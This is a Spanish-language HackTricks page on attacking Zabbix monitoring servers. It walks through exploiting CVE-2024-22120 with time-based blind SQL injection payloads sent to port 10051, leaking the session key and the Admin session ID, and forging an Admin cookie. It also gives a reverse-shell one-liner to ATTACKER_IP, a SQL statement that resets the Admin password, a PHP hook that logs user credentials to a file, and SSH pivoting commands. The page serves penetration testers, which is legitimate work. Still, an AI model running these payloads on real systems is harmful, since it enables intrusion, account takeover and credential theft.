Seguridad de Zabbix

Reading time: 7 minutes

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Resumen

Zabbix es una plataforma de monitorización que expone una web UI (típicamente detrás de Apache/Nginx) y un componente servidor que también habla el protocolo Zabbix en TCP/10051 (server/trapper) y un agente en TCP/10050. Durante los engagements puedes encontrarte con:

  • Web UI: virtual host HTTP(S) como zabbix.example.tld
  • Puerto del servidor Zabbix: 10051/tcp (JSON dentro de un encabezado ZBXD)
  • Puerto del agente Zabbix: 10050/tcp

Formato útil de cookie: zbx_session es Base64 de un objeto JSON compacto que incluye al menos sessionid, serverCheckResult, serverCheckTime y sign. El sign es un HMAC del payload JSON.

Las versiones recientes de Zabbix calculan la cookie así:

  • data JSON: {"sessionid":"<32-hex>","serverCheckResult":true,"serverCheckTime":<unix_ts>}
  • sign: HMAC-SHA256(key=session_key, data=JSON string of data sorted by keys and compact separators)
  • Final cookie: Base64(JSON_with_sign)

Si puedes recuperar el global session_key y un sessionid de Admin válido, puedes forjar una cookie Admin válida offline y autenticarte en la UI.

CVE-2024-22120 — Time-based blind SQLi en el registro de auditoría de Zabbix Server

Versiones afectadas (según documentación pública):

  • 6.0.0–6.0.27, 6.4.0–6.4.12, 7.0.0alpha1

Resumen de la vulnerabilidad:

  • Cuando una ejecución de Script se registra en el audit log de Zabbix Server, el campo clientip no se sanitiza y se concatena en SQL, permitiendo time-based blind SQLi vía el componente server.
  • Esto es explotable enviando una petición "command" construida al puerto 10051 del servidor Zabbix con un sessionid válido de bajo privilegio, un hostid al que el usuario tenga acceso, y un scriptid permitido.

Precondiciones y consejos para descubrimiento:

  • sessionid: Desde guest/login en la web UI, decodifica zbx_session (Base64) para obtener sessionid.
  • hostid: Obsérvalo vía peticiones de la web UI (p. ej., Monitoring → Hosts) o interceptando con un proxy; el valor por defecto común es 10084.
  • scriptid: Solo los scripts permitidos al rol actual se ejecutarán; verifícalo inspeccionando el menú de scripts/respuestas AJAX. Valores por defecto como 1 o 2 suelen estar permitidos; 3 puede ser denegado.

Flujo de explotación

  1. Provocar la inserción en el audit con SQLi en clientip
  • Conéctate a TCP/10051 y envía un mensaje enmarcado Zabbix con request="command" incluyendo sid, hostid, scriptid, y clientip configurado a una expresión SQL que será concatenada por el servidor y evaluada.

Minimal message (JSON body) fields:

json
{
"request": "command",
"sid": "<low-priv-sessionid>",
"scriptid": "1",
"clientip": "' + (SQL_PAYLOAD) + '",
"hostid": "10084"
}

El formato completo en el wire es: "ZBXD\x01" + 8-byte little-endian length + UTF-8 JSON. Puedes usar pwntools o tu propio socket code para construirlo.

  1. Time-bruteforce secrets via conditional sleep

Usa conditional expressions para leak hex-encoded secrets 1 char at a time midiendo el response time. Ejemplos que han funcionado en la práctica:

  • Leak global session_key from config:
sql
(select CASE WHEN (ascii(substr((select session_key from config),{pos},1))={ord}) THEN sleep({T_TRUE}) ELSE sleep({T_FALSE}) END)
  • Leak Admin session_id (userid=1) desde sessions:
sql
(select CASE WHEN (ascii(substr((select sessionid from sessions where userid=1 limit 1),{pos},1))={ord}) THEN sleep({T_TRUE}) ELSE sleep({T_FALSE}) END)

Notas:

  • charset: 32 hex chars [0-9a-f]
  • Pick T_TRUE >> T_FALSE (e.g., 10 vs 1) and measure wall-clock per attempt
  • Ensure your scriptid is actually authorized for the user; otherwise no audit row is produced and timing won’t work
  1. Forjar cookie de Admin

Una vez que tengas:

  • session_key: 32-hex de config.session_key
  • admin_sessionid: 32-hex de sessions.sessionid para userid=1

Calcular:

  • sign = HMAC_SHA256(key=session_key, data=json.dumps({sessionid, serverCheckResult:true, serverCheckTime:now}, sort by key, compact))
  • zbx_session = Base64(JSON_with_sign)

Establece la cookie zbx_session con este valor y realiza un GET a /zabbix.php?action=dashboard.view para validar el acceso Admin.

Herramientas listas para usar

  • PoC público automatiza: bruteforce de session_key y admin sessionid, y cookie forging; requiere pwntools y requests.
  • Los parámetros a proporcionar típicamente incluyen: --ip (FQDN of UI), --port 10051, --sid (low-priv), --hostid, y opcionalmente un --admin-sid conocido para omitir el bruteforce.

RCE via Script execution (post-Admin)

Con acceso Admin en la UI, puedes ejecutar Scripts predefinidos contra hosts monitorizados. Si agents/hosts ejecutan comandos de script localmente, esto resulta en ejecución de código en esos sistemas (a menudo como el usuario zabbix en hosts Linux):

  • Comprobación rápida: ejecutar id para confirmar el contexto de usuario
  • Reverse shell example:
bash
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'

Mejorar TTY (Linux):

bash
script /dev/null -c bash
# background with Ctrl+Z, then on attacker terminal:
stty raw -echo; fg
reset

Si tienes acceso a la base de datos, una alternativa a forjar una cookie es restablecer la contraseña del Admin al bcrypt documentado para "zabbix":

sql
UPDATE users SET passwd='$2a$10$ZXIvHAEP2ZM.dLXTm6uPHOMVlARXX7cqjbhM6Fn0cANzkCQBWpMrS' WHERE username='Admin';

Captura de credenciales vía login hook (post-exploitation)

Si es posible escribir archivos en el web UI server, puedes añadir temporalmente un fragmento de registro a /usr/share/zabbix/index.php alrededor de la rama de inicio de sesión basada en formulario para capturar credenciales:

php
// login via form
if (hasRequest('enter') && CWebUser::login(getRequest('name', ZBX_GUEST_USER), getRequest('password', ''))) {
$user = $_POST['name'] ?? '??';
$password = $_POST['password'] ?? '??';
$f = fopen('/dev/shm/creds.txt','a+'); fputs($f, "$user:$password\n"); fclose($f);
CSessionHelper::set('sessionid', CWebUser::$data['sessionid']);
}

Los usuarios se autentican normalmente; leer /dev/shm/creds.txt después. Eliminar el hook al terminar.

Pivoting hacia servicios internos

Incluso si el shell de la cuenta de servicio es /usr/sbin/nologin, añadir una entrada en SSH authorized_keys y usar -N -L permite local port-forwarding a servicios accesibles solo desde loopback (p. ej., CI/CD en 8111):

bash
ssh -i key user@host -N -L 8111:127.0.0.1:8111

Consulta más patrones de tunneling en: Tunneling and Port Forwarding.

Consejos operativos

  • Verifica que scriptid esté permitido para el rol actual (guest puede tener un conjunto limitado)
  • Timing brute puede ser lento; almacena en caché la sessionid de admin recuperada y reutilízala
  • El JSON enviado a 10051 debe estar enmarcado con el encabezado ZBXD\x01 y una longitud little-endian

Referencias

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks